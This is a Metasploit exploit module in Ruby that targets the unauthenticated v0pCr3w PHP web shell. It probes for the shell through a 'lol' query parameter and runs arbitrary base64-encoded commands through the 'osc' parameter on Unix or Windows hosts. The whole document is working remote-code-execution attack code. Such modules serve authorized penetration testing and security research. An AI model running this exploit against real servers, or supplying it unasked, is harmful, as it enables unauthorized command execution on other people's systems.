v0pCr3w Web Shell Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'v0pCr3w Web Shell Remote Code Execution',
      'Description'    => %q{
          This module exploits a lack of authentication in the shell developed by v0pCr3w
        and is widely reused in automated RFI payloads. This module takes advantage of the
        shell's various methods to execute commands.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bwall <bwall[at]openbwall.com>',  # vuln discovery & msf module
        ],
      'References'     =>
        [
          [ 'OSVDB', '91841'],
          [ 'URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell' ],
          [ 'URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'       => %w{ unix win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
          ['v0pCr3w / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => '2013-03-23',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
      ])
  end

  def check
    shell = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'lol' => '1'
      }
    })
    if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def http_send_command(cmd)
    p = Rex::Text.encode_base64(cmd)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'osc' => p
      }
    })
    if not (res and res.code == 200)
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end
end